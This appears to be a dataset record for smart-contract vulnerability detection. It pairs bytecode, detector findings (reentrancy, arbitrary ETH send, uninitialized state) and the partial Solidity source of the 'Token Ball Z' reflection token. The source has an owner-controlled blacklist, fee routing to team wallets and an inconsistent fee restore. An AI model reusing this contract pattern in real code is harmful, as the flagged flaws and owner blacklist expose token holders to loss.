ffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9258360405161125c9190613395565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156112d9576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016112d090613335565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611349576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161134090613235565b60405180910390fd5b6000811161138c576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161138390613315565b60405180910390fd5b6113946107f1565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415801561140257506113d26107f1565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b15611f7657601260189054906101000a900460ff1615611635573073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415801561148457503073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b80156114de5750601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b80156115385750601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b1561163457601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1661157e611096565b73ffffffffffffffffffffffffffffffffffffffff1614806115f45750601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166115dc611096565b73ffffffffffffffffffffffffffffffffffffffff16145b611633576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161162a90613375565b60405180910390fd5b5b5b600a60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161580156116d95750600a60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b6116e257600080fd5b601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614801561178d5750601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b80156117e35750600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b80156117fb5750601260189054906101000a900460ff165b156118d457601260149054906101000a900460ff1661181957600080fd5b60135481111561182857600080fd5b42600b60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541061187357600080fd5b601e42611880919061347a565b600b60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550600660098190555060026008819055505b60006118df3061064d565b9050601260169054906101000a900460ff1615801561194c5750601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b80156119645750601260179054906101000a900460ff165b15611f74576119ba60646119ac600361199e601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1661064d565b61250090919063ffffffff16565b61257b90919063ffffffff16565b82111580156119cb57506013548211155b6119d457600080fd5b42600c60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205410611a1f57600080fd5b4262015180600d60008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611a6e919061347a565b1015611aba576000600e60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b6000600e60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541415611bf157600e60008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000815480929190611b5290613629565b919050555042600d60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610e1042611ba9919061347a565b600c60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611f09565b6001600e60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541415611ce457600e60008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000815480929190611c8990613629565b9190505550611c2042611c9c919061347a565b600c60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611f08565b6002600e60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541415611dd757600e60008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000815480929190611d7c90613629565b919050555061546042611d8f919061347a565b600c60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611f07565b6003600e60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541415611f0657600e60008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000815480929190611e6f90613629565b919050555062015180600d60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611ec2919061347a565b600c60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b5b5b5b611f1281612206565b60004790506000811115611f2a57611f294761209d565b5b611f72600e60008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546125c5565b505b505b600060019050600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff168061201d5750600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b1561202757600090505b612033848484846125ee565b50505050565b6000838311158290612081576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016120789190613213565b60405180910390fd5b5060008385612090919061355b565b9050809150509392505050565b600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc6120ed60028461257b90919063ffffffff16565b9081150290604051600060405180830381858888f19350505050158015612118573d6000803e3d6000fd5b50601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc61216960028461257b90919063ffffffff16565b9081150290604051600060405180830381858888f19350505050158015612194573d6000803e3d6000fd5b5050565b60006006548211156121df576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016121d690613255565b60405180910390fd5b60006121e961262d565b90506121fe818461257b90919063ffffffff16565b915050919050565b6001601260166101000a81548160ff0219169083151502179055506000600267ffffffffffffffff811115612264577f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b6040519080825280602002602001820160405280156122925781602001602082028036833780820191505090505b50905030816000815181106122d0577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b15801561237257600080fd5b505afa158015612386573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906123aa9190612ce6565b816001815181106123e4577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff168152505061244b30601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff168461109e565b601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b81526004016124af9594939291906133b0565b600060405180830381600087803b1580156124c957600080fd5b505af11580156124dd573d6000803e3d6000fd5b50505050506000601260166101000a81548160ff02191690831515021790555050565b6000808314156125135760009050612575565b600082846125219190613501565b905082848261253091906134d0565b14612570576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612567906132d5565b60405180910390fd5b809150505b92915050565b60006125bd83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250612658565b905092915050565b806008546125d39190613501565b60088190555060018111156125eb57600a6009819055505b50565b806125fc576125fb6126bb565b5b6126078484846126ec565b806126155761261461261b565b5b50505050565b60076008819055506005600981905550565b600080600061263a6128b7565b91509150612651818361257b90919063ffffffff16565b9250505090565b6000808311829061269f576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016126969190613213565b60405180910390fd5b50600083856126ae91906134d0565b9050809150509392505050565b60006008541480156126cf57506000600954145b156126d9576126ea565b600060088190555060006009819055505b565b6000806000806000806126fe87612919565b95509550955095509550955061275c86600260008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461298190919063ffffffff16565b600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506127f185600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546129cb90919063ffffffff16565b600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061283d81612a29565b6128478483612ae6565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040516128a49190613395565b60405180910390a3505050505050505050565b600080600060065490506000683635c9adc5dea0000090506128ed683635c9adc5dea0000060065461257b90919063ffffffff16565b82101561290c57600654683635c9adc5dea00000935093505050612915565b81819350935050505b9091565b60008060008060008060008060006129368a600854600954612b20565b925092509250600061294661262d565b905060008060006129598e878787612bb6565b9250925092508282828989899c509c509c509c509c509c505050505050505091939550919395565b60006129c383836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250612039565b905092915050565b60008082846129da919061347a565b905083811015612a1f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612a1690613295565b60405180910390fd5b8091505092915050565b6000612a3361262d565b90506000612a4a828461250090919063ffffffff16565b9050612a9e81600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546129cb90919063ffffffff16565b600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550505050565b612afb8260065461298190919063ffffffff16565b600681905550612b16816007546129cb90919063ffffffff16565b6007819055505050565b600080600080612b4c6064612b3e888a61250090919063ffffffff16565b61257b90919063ffffffff16565b90506000612b766064612b68888b61250090919063ffffffff16565b61257b90919063ffffffff16565b90506000612b9f82612b91858c61298190919063ffffffff16565b61298190919063ffffffff16565b905080838395509550955050505093509350939050565b600080600080612bcf858961250090919063ffffffff16565b90506000612be6868961250090919063ffffffff16565b90506000612bfd878961250090919063ffffffff16565b90506000612c2682612c18858761298190919063ffffffff16565b61298190919063ffffffff16565b9050838184965096509650505050509450945094915050565b600081359050612c4e816139ae565b92915050565b600081519050612c63816139ae565b92915050565b600081359050612c78816139c5565b92915050565b600081519050612c8d816139c5565b92915050565b600081359050612ca2816139dc565b92915050565b600081519050612cb7816139dc565b92915050565b600060208284031215612ccf57600080fd5b6000612cdd84828501612c3f565b91505092915050565b600060208284031215612cf857600080fd5b6000612d0684828501612c54565b91505092915050565b60008060408385031215612d2257600080fd5b6000612d3085828601612c3f565b9250506020612d4185828601612c3f565b9150509250929050565b600080600060608486031215612d6057600080fd5b6000612d6e86828701612c3f565b9350506020612d7f86828701612c3f565b9250506040612d9086828701612c93565b9150509250925092565b60008060408385031215612dad57600080fd5b6000612dbb85828601612c3f565b9250506020612dcc85828601612c93565b9150509250929050565b600060208284031215612de857600080fd5b6000612df684828501612c69565b91505092915050565b600060208284031215612e1157600080fd5b6000612e1f84828501612c7e565b91505092915050565b600060208284031215612e3a57600080fd5b6000612e4884828501612c93565b91505092915050565b600080600060608486031215612e6657600080fd5b6000612e7486828701612ca8565b9350506020612e8586828701612ca8565b9250506040612e9686828701612ca8565b9150509250925092565b6000612eac8383612eb8565b60208301905092915050565b612ec18161358f565b82525050565b612ed08161358f565b82525050565b6000612ee182613435565b612eeb8185613458565b9350612ef683613425565b8060005b83811015612f27578151612f0e8882612ea0565b9750612f198361344b565b925050600181019050612efa565b5085935050505092915050565b612f3d816135a1565b82525050565b612f4c816135e4565b82525050565b6000612f5d82613440565b612f678185613469565b9350612f778185602086016135f6565b612f80816136d0565b840191505092915050565b6000612f98602383613469565b9150612fa3826136e1565b604082019050919050565b6000612fbb602a83613469565b9150612fc682613730565b604082019050919050565b6000612fde602283613469565b9150612fe98261377f565b604082019050919050565b6000613001601b83613469565b915061300c826137ce565b602082019050919050565b6000613024601d83613469565b915061302f826137f7565b602082019050919050565b6000613047602183613469565b915061305282613820565b604082019050919050565b600061306a602083613469565b91506130758261386f565b602082019050919050565b600061308d602983613469565b915061309882613898565b604082019050919050565b60006130b0602583613469565b91506130bb826138e7565b604082019050919050565b60006130d3602483613469565b91506130de82613936565b604082019050919050565b60006130f6601183613469565b915061310182613985565b602082019050919050565b613115816135cd565b82525050565b613124816135d7565b82525050565b600060208201905061313f6000830184612ec7565b92915050565b600060408201905061315a6000830185612ec7565b6131676020830184612ec7565b9392505050565b60006040820190506131836000830185612ec7565b613190602083018461310c565b9392505050565b600060c0820190506131ac6000830189612ec7565b6131b9602083018861310c565b6131c66040830187612f43565b6131d36060830186612f43565b6131e06080830185612ec7565b6131ed60a083018461310c565b979650505050505050565b600060208201905061320d6000830184612f34565b92915050565b6000602082019050818103600083015261322d8184612f52565b905092915050565b6000602082019050818103600083015261324e81612f8b565b9050919050565b6000602082019050818103600083015261326e81612fae565b9050919050565b6000602082019050818103600083015261328e81612fd1565b9050919050565b600060208201905081810360008301526132ae81612ff4565b9050919050565b600060208201905081810360008301526132ce81613017565b9050919050565b600060208201905081810360008301526132ee8161303a565b9050919050565b6000602082019050818103600083015261330e8161305d565b9050919050565b6000602082019050818103600083015261332e81613080565b9050919050565b6000602082019050818103600083015261334e816130a3565b9050919050565b6000602082019050818103600083015261336e816130c6565b9050919050565b6000602082019050818103600083015261338e816130e9565b9050919050565b60006020820190506133aa600083018461310c565b92915050565b600060a0820190506133c5600083018861310c565b6133d26020830187612f43565b81810360408301526133e48186612ed6565b90506133f36060830185612ec7565b613400608083018461310c565b9695505050505050565b600060208201905061341f600083018461311b565b92915050565b6000819050602082019050919050565b600081519050919050565b600081519050919050565b6000602082019050919050565b600082825260208201905092915050565b600082825260208201905092915050565b6000613485826135cd565b9150613490836135cd565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff038211156134c5576134c4613672565b5b828201905092915050565b60006134db826135cd565b91506134e6836135cd565b9250826134f6576134f56136a1565b5b828204905092915050565b600061350c826135cd565b9150613517836135cd565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff04831182151516156135505761354f613672565b5b828202905092915050565b6000613566826135cd565b9150613571836135cd565b92508282101561358457613583613672565b5b828203905092915050565b600061359a826135ad565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b60006135ef826135cd565b9050919050565b60005b838110156136145780820151818401526020810190506135f9565b83811115613623576000848401525b50505050565b6000613634826135cd565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff82141561366757613666613672565b5b600182019050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b6000601f19601f8301169050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b7f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260008201527f65666c656374696f6e7300000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b7f416d6f756e74206d7573742062652067726561746572207468616e2030000000600082015250565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b7f5472616e7366657220616d6f756e74206d75737420626520677265617465722060008201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b7f4552523a20556e6973776170206f6e6c79000000000000000000000000000000600082015250565b6139b78161358f565b81146139c257600080fd5b50565b6139ce816135a1565b81146139d957600080fd5b50565b6139e5816135cd565b81146139f057600080fd5b5056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a26469706673582212205741cc096a37a738124fbcd8325cefa81ee4df737cfa7a14830213dae09475c364736f6c63430008040033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "uninitialized-state", "impact": "High", "confidence": "High"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}}
| 8,260 |
0x6Fcf5038A0B391906977D456c1262db518C1729e
|
/**
*Submitted for verification at Etherscan.io on 2021-06-22
*/
// Token Ball Z (TBZ🔮)
//
// TG: https://t.me/TokenBallZ
//
// Introducing Token Ball Z!
// A new DeFi ecosystem for hodlers, collectors,
// and DBZ fans alike! This token represents the
// Dragon Ball Z universe, yet it is adapted
// for Ethereum. Collect some or all of the
// Token Balls and embrace the power!
// Join today for more details!
//
// - Total supply of 1 Trillion TBZ
// - Burning of 15%+ of TBZ supply
// - 100% of remaining TBZ liquidity provided
// - 5% token transfer reflection to holders
// - Tax on selling to incentivize collecting
// - Cooldown features embedded
// - Anti-bots measures in place
// - Fully stealth & fair launch!
//
//
// SPDX-License-Identifier: Unlicensed
pragma solidity ^0.8.5;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB)
external
returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint256 amountTokenDesired,
uint256 amountTokenMin,
uint256 amountETHMin,
address to,
uint256 deadline
)
external
payable
returns (
uint256 amountToken,
uint256 amountETH,
uint256 liquidity
);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
constructor() {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount)
external
returns (bool);
function allowance(address owner, address spender)
external
view
returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
contract TokenBallZ is Context, IERC20, Ownable {
using SafeMath for uint256;
string private constant _name = "Token Ball Z";
string private constant _symbol = 'TBZ\xF0\x9F\x94\xAE';
uint8 private constant _decimals = 9;
// RFI
mapping(address => uint256) private _rOwned;
mapping(address => uint256) private _tOwned;
mapping(address => mapping(address => uint256)) private _allowances;
mapping(address => bool) private _isExcludedFromFee;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 1000000000000 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
uint256 private _taxFee = 5;
uint256 private _teamFee = 10;
// Bot detection
mapping(address => bool) private bots;
mapping(address => uint256) private cooldown;
address payable private _teamAddress;
address payable private _marketingFunds;
IUniswapV2Router02 private uniswapV2Router;
address private uniswapV2Pair;
bool private tradingOpen;
bool private inSwap = false;
bool private swapEnabled = false;
bool private cooldownEnabled = false;
uint256 private _maxTxAmount = _tTotal;
event MaxTxAmountUpdated(uint256 _maxTxAmount);
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor(address payable addr1, address payable addr2) {
_teamAddress = addr1;
_marketingFunds = addr2;
_rOwned[_msgSender()] = _rTotal;
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[_teamAddress] = true;
_isExcludedFromFee[_marketingFunds] = true;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount)
public
override
returns (bool)
{
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender)
public
view
override
returns (uint256)
{
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount)
public
override
returns (bool)
{
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(
address sender,
address recipient,
uint256 amount
) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(
sender,
_msgSender(),
_allowances[sender][_msgSender()].sub(
amount,
"ERC20: transfer amount exceeds allowance"
)
);
return true;
}
function setCooldownEnabled(bool onoff) external onlyOwner() {
cooldownEnabled = onoff;
}
function tokenFromReflection(uint256 rAmount)
private
view
returns (uint256)
{
require(
rAmount <= _rTotal,
"Amount must be less than total reflections"
);
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function removeAllFee() private {
if (_taxFee == 0 && _teamFee == 0) return;
_taxFee = 0;
_teamFee = 0;
}
function restoreAllFee() private {
_taxFee = 5;
_teamFee = 12;
}
function _approve(
address owner,
address spender,
uint256 amount
) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(
address from,
address to,
uint256 amount
) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
if (from != owner() && to != owner()) {
if (cooldownEnabled) {
if (
from != address(this) &&
to != address(this) &&
from != address(uniswapV2Router) &&
to != address(uniswapV2Router)
) {
require(
_msgSender() == address(uniswapV2Router) ||
_msgSender() == uniswapV2Pair,
"ERR: Uniswap only"
);
}
}
require(amount <= _maxTxAmount);
require(!bots[from] && !bots[to]);
if (
from == uniswapV2Pair &&
to != address(uniswapV2Router) &&
!_isExcludedFromFee[to] &&
cooldownEnabled
) {
require(cooldown[to] < block.timestamp);
cooldown[to] = block.timestamp + (60 seconds);
}
uint256 contractTokenBalance = balanceOf(address(this));
if (!inSwap && from != uniswapV2Pair && swapEnabled) {
swapTokensForEth(contractTokenBalance);
uint256 contractETHBalance = address(this).balance;
if (contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
}
}
bool takeFee = true;
if (_isExcludedFromFee[from] || _isExcludedFromFee[to]) {
takeFee = false;
}
_tokenTransfer(from, to, amount, takeFee);
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function sendETHToFee(uint256 amount) private {
_teamAddress.transfer(amount.div(2));
_marketingFunds.transfer(amount.div(2));
}
function openTrading() external onlyOwner() {
require(!tradingOpen, "trading is already open");
IUniswapV2Router02 _uniswapV2Router =
IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
uniswapV2Router = _uniswapV2Router;
_approve(address(this), address(uniswapV2Router), _tTotal);
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory())
.createPair(address(this), _uniswapV2Router.WETH());
uniswapV2Router.addLiquidityETH{value: address(this).balance}(
address(this),
balanceOf(address(this)),
0,
0,
owner(),
block.timestamp
);
swapEnabled = true;
cooldownEnabled = true;
tradingOpen = true;
IERC20(uniswapV2Pair).approve(
address(uniswapV2Router),
type(uint256).max
);
}
function manualswap() external {
require(_msgSender() == _teamAddress);
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualsend() external {
require(_msgSender() == _teamAddress);
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function setBots(address[] memory bots_) public onlyOwner {
for (uint256 i = 0; i < bots_.length; i++) {
bots[bots_[i]] = true;
}
}
function delBot(address notbot) public onlyOwner {
bots[notbot] = false;
}
function _tokenTransfer(
address sender,
address recipient,
uint256 amount,
bool takeFee
) private {
if (!takeFee) removeAllFee();
_transferStandard(sender, recipient, amount);
if (!takeFee) restoreAllFee();
}
function _transferStandard(
address sender,
address recipient,
uint256 tAmount
) private {
(
uint256 rAmount,
uint256 rTransferAmount,
uint256 rFee,
uint256 tTransferAmount,
uint256 tFee,
uint256 tTeam
) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
receive() external payable {}
function _getValues(uint256 tAmount)
private
view
returns (
uint256,
uint256,
uint256,
uint256,
uint256,
uint256
)
{
(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) =
_getTValues(tAmount, _taxFee, _teamFee);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) =
_getRValues(tAmount, tFee, tTeam, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
}
function _getTValues(
uint256 tAmount,
uint256 taxFee,
uint256 TeamFee
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 tFee = tAmount.mul(taxFee).div(100);
uint256 tTeam = tAmount.mul(TeamFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
return (tTransferAmount, tFee, tTeam);
}
function _getRValues(
uint256 tAmount,
uint256 tFee,
uint256 tTeam,
uint256 currentRate
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns (uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns (uint256, uint256) {
